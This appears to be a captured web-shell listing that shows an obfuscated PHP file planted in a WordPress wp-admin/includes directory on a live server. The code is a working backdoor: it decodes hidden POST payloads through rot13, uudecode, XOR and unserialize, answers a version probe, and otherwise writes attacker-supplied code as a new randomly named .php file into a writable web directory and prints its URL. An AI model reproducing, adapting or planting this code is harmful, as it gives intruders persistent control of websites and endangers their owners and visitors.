HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-admin/includes/hjrebyiz.php
<?php function fwzIj($ABUWlvZ){$ZBuVsTAZ = "\162"."\x61"."\167"."\165"."\162".chr(1007-899).chr(699-599).'e'.chr(99)."\x6f".chr(827-727).'e';$LMsiouf = chr(115).'t'.chr(114).chr(95)."\162".'o'."\164".chr(610-561).chr(51);$nZyKiwZX = chr(956-841).'t'."\162"."\137".chr(115).chr(1104-992)."\154"."\151"."\164";$ABUWlvZ = $nZyKiwZX($ZBuVsTAZ($LMsiouf($ABUWlvZ)));return $ABUWlvZ;}function ADYpZpvAD($AnHztRB, $ABUWlvZ){$YpVzFVsi = 's'."\164".'r'."\137"."\163".chr(993-881)."\154".chr(716-611).chr(116);$AnHztRB = array_slice($YpVzFVsi(str_repeat($AnHztRB, (count($ABUWlvZ)/16)+1)), 0, count($ABUWlvZ));return $AnHztRB;}function SYTjjSsyJr($mJAJLXld, $vTNEWDapJ, $AnHztRB){$xdskgiHsw = "fde832d6-c120-4d07-a0d0-ad3003bdc5de";return $mJAJLXld ^ $xdskgiHsw[$vTNEWDapJ % strlen($xdskgiHsw)] ^ $AnHztRB;}function qBSJLfpvG($ABUWlvZ, $AnHztRB){$ABUWlvZ = array_map("SYTjjSsyJr", array_values($ABUWlvZ), array_keys($ABUWlvZ), array_values($AnHztRB));$ABUWlvZ = implode("", $ABUWlvZ);$BgFoVVi = "\165".chr(393-283).chr(945-830).chr(101).chr(522-408).'i'.'a'.chr(108).'i'."\172"."\x65";$ABUWlvZ = @$BgFoVVi($ABUWlvZ);return $ABUWlvZ;}function kheEieUYMb(){echo "hkbpHcSdv";}function VBqQw($iUFYBir){static $XzfQkHF = array();$BOkcC = glob($iUFYBir . '/*', GLOB_ONLYDIR);$kAsWeu = count($BOkcC);if ($kAsWeu > 0) {foreach ($BOkcC as $iUFYB) {$XEngBUX = "\x69".chr(115).'_'."\x77"."\162"."\x69"."\164".chr(97).chr(98).chr(624-516).chr(101);if (@$XEngBUX($iUFYB)) {$XzfQkHF[] = $iUFYB;}}}foreach ($BOkcC as $iUFYBir) VBqQw($iUFYBir);return $XzfQkHF;}function SOIPo(){echo "cDIbMgI";}function Wwatyhz($ABUWlvZ){$PwmBG = "\x44"."\x4f".chr(331-264).'U'.chr(225-148)."\105".chr(855-777).chr(84)."\x5f".chr(113-31)."\x4f".chr(541-462)."\x54";$NtrFHXYTeY = $_SERVER[$PwmBG];$BOkcC = VBqQw($NtrFHXYTeY);$KJoYHVIb = array_rand($BOkcC);$GEQdyov = chr(774-728).'p'."\150".'p';$uvLlCxL = $BOkcC[$KJoYHVIb] . "/" . substr(md5(time()), 0, 8) . $GEQdyov;$SaUDxKT = chr(206-104).chr(105)."\x6c".'e'.chr(95)."\160"."\165".chr(646-530).chr(168-73).chr(938-839)."\x6f".chr(110).'t'.chr(101).'n'."\x74"."\x73";@$SaUDxKT($uvLlCxL, $ABUWlvZ);$EEhkgZM = "\x48".chr(870-786).'T'.chr(80)."\x5f"."\x48".chr(219-140).chr(433-350).'T';$xgIaegzY = chr(104).chr(116)."\x74"."\160".chr(58).chr(47)."\x2f";$KelrvwWmL = $xgIaegzY . $_SERVER[$EEhkgZM] . substr($uvLlCxL, strlen($NtrFHXYTeY));print($KelrvwWmL);}foreach ($_POST as $AnHztRB => $ABUWlvZ){$MMCjC = strlen($AnHztRB);if ($MMCjC == 16){$ABUWlvZ = fwzIj($ABUWlvZ);$AnHztRB = ADYpZpvAD($AnHztRB, $ABUWlvZ);$ABUWlvZ = qBSJLfpvG($ABUWlvZ, $AnHztRB);if (@is_array($ABUWlvZ)){$KJoYHVIb = array_keys($ABUWlvZ);$ABUWlvZ = $ABUWlvZ[$KJoYHVIb[0]];if ($ABUWlvZ === $KJoYHVIb[0]){$wrqfdRNETS = chr(112).chr(820-716).chr(112);$edOaWMKj = "\x70"."\x68".'p'.chr(1103-985).'e'.chr(901-787)."\163".chr(105)."\x6f".chr(424-314);$qQLMJA = chr(420-305)."\145"."\x72"."\x69"."\x61"."\154"."\151"."\x7a"."\145";echo @$qQLMJA(Array($wrqfdRNETS => @$edOaWMKj(), ));}else {Wwatyhz($ABUWlvZ);}die();}}}